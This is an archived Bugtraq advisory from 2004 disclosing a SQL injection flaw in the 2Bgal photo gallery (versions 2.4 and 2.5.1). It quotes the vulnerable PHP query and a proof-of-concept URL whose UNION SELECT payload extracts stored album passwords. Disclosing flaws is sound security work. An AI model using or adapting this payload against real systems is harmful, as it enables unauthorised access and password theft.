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2Bgal : 2.4 & 2.5.1 SQL injection Vulnerability

daemon@ATHENA.MIT.EDU (zib zib)
Wed Dec 22 20:34:21 2004

Date: 22 Dec 2004 07:49:19 -0000
Message-ID: <20041222074919.26414.qmail@www.securityfocus.com>
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From: zib zib <zibelette@aol.com>
To: bugtraq@securityfocus.com



2Bgal 2.5.1 SQL injection Vulnerability
(http://www.ben3w.com/)
12/22/2004
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Description:
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2Bgal is fully customizable photo gallery. 
It's seems to be vulnerable at a SQL injection.


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Vulnerable code (disp_album.php(~53) and maybe disp_img.php)
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$chaine="SELECT nom,idpere FROM ".$tbl_alist." WHERE id=".$id_album;
$request = MYSQL_QUERY($chaine);
$nom_currentalbum = mysql_result($request,0,"nom");
$idpere_currentalbum = mysql_result($request,0,"idpere");



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Proof of concept (2Bgal with MySQL 4.x.x):
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http://www.server.com/2bgal/disp_album.php?id_album=2%20UNION%20SELECT%20passwd%20as%20nom,%20idpere%20FROM%20galbumlist%20LIMIT%201; --

This code allows you to get password for the first album.
You can play with SQL injection code to get others passwords.

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Version 
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2Bgal 2.5.1
2Bgal 2.4 (seems to be affected too)
others not tested

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Discovered by Romain Le Guen: 
http://coding.romainl.com
contact @AT@ romainl.com 

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